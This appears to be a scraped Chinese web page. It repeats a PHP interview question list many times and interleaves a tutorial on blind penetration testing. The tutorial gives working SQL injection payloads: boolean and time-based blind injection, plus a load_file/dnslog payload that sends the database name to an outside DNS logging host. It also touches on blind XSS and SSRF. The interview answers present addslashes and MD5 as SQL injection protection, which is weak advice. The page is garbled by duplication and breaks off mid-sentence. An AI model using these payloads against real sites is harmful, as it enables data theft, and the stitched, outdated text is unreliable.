mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程

有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程

$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP无回显渗透测试总结
网站优化 • 优采云 发表了文章 • 0 个评论 • 88 次浏览 • 2022-06-26 18:25
0x01前言
在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来判断,方法很多,下面主要进行一些情况的分析。
0x02无回显概念
无回显,即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时候就需要进行一些无回显利用了。
0x03不同漏洞的无回显1、SQL注入无回显
SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。
1.1 布尔盲注
布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。具体测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。
2、在传参后面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。
3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。
4、通过length()函数判断数据库库名的长度大于1。
?id=1' and length(database())>1 %23
5、在大于8的时候页面返回空,所以数据库库名长度等于8。
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1' and ascii(substr((select database()),1,1))>97 %23
?id=1' and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。
7、更改截取的位置,判断后面的字符对应的ascii码值。
?id=1' and ascii(substr((select database()),2,1))=101 %23
1.2 延时盲注
延时盲注,一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。
2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间,为4.秒;使用sleep(5)延时5秒之后,页面响应时间为9.秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了,说明数据库库名长度为8。
?id=2' and if((length(database())=8),sleep(5),1) %23
4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替换截断的位置,测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。
巧用dnslog进行SQL注入
前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的时间与精力。为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。
Dnslog
dnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得到需要的数据。
Load_file()函数
数据库中的load_file()函数,可以加载服务器中的内容。load_file('c:/1.txt'),读取文件并返回内容为字符串,使用load_file()函数获取数据需要有以下几个条件:<br /> 1.文件在服务器上<br /> 2.指定完整路径的文件<br /> 3.必须有FILE权限
UNC路径
UNC路径就是类似\\softer这样的形式的网络路径。它符合 **\\服务器名\服务器资源**的格式。在Windows系统中常用于共享文件。如\\192.168.1.1\共享文件夹名。
Dnslog注入实例演示
1、打开实例站点,很明显这里是只能使用盲注的站点。
2、通过order by判断出字段数为3。
3、在dnslog网站申请一个dnslog域名:
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn<br />/abc')) %23<br />
5、执行语句之后在dnslog日志中获取到数据库库名为security。
6、修改子查询里的内容,获取其他数据。
2、XSS无回显
XSS无回显比较特殊,一般XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:
2.1 XSS盲打
1、如图这里是一个提交看法的功能
2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中
3、登录后台可以看到确实有数据回显
4、输入弹框语句会在后台成功执行
5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。
2.2 通过dnslog判断漏洞存在
payload:<br />
3、SSRF无回显
SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:
<br />
首先通过访问百度可以验证漏洞存在
无回显情况即不进行输出,页面返回空
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
:// 查看全部
php截取字符串网站内容 PHP无回显渗透测试总结
0x01前言
在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来判断,方法很多,下面主要进行一些情况的分析。
0x02无回显概念
无回显,即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时候就需要进行一些无回显利用了。
0x03不同漏洞的无回显1、SQL注入无回显
SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。
1.1 布尔盲注
布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。具体测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。
2、在传参后面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。
3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。
4、通过length()函数判断数据库库名的长度大于1。
?id=1' and length(database())>1 %23
5、在大于8的时候页面返回空,所以数据库库名长度等于8。
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1' and ascii(substr((select database()),1,1))>97 %23
?id=1' and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。
7、更改截取的位置,判断后面的字符对应的ascii码值。
?id=1' and ascii(substr((select database()),2,1))=101 %23
1.2 延时盲注
延时盲注,一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。
2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间,为4.秒;使用sleep(5)延时5秒之后,页面响应时间为9.秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了,说明数据库库名长度为8。
?id=2' and if((length(database())=8),sleep(5),1) %23
4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替换截断的位置,测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。
巧用dnslog进行SQL注入
前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的时间与精力。为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。
Dnslog
dnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得到需要的数据。

Load_file()函数
数据库中的load_file()函数,可以加载服务器中的内容。load_file('c:/1.txt'),读取文件并返回内容为字符串,使用load_file()函数获取数据需要有以下几个条件:<br /> 1.文件在服务器上<br /> 2.指定完整路径的文件<br /> 3.必须有FILE权限
UNC路径
UNC路径就是类似\\softer这样的形式的网络路径。它符合 **\\服务器名\服务器资源**的格式。在Windows系统中常用于共享文件。如\\192.168.1.1\共享文件夹名。
Dnslog注入实例演示
1、打开实例站点,很明显这里是只能使用盲注的站点。
2、通过order by判断出字段数为3。
3、在dnslog网站申请一个dnslog域名:
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn<br />/abc')) %23<br />
5、执行语句之后在dnslog日志中获取到数据库库名为security。
6、修改子查询里的内容,获取其他数据。
2、XSS无回显
XSS无回显比较特殊,一般XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:
2.1 XSS盲打
1、如图这里是一个提交看法的功能
2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中
3、登录后台可以看到确实有数据回显
4、输入弹框语句会在后台成功执行
5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。
2.2 通过dnslog判断漏洞存在
payload:<br />
3、SSRF无回显
SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:
<br />
首先通过访问百度可以验证漏洞存在
无回显情况即不进行输出,页面返回空
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
://
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-06-21 18:01
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-06-21 07:51
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 89 次浏览 • 2022-06-20 05:50
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
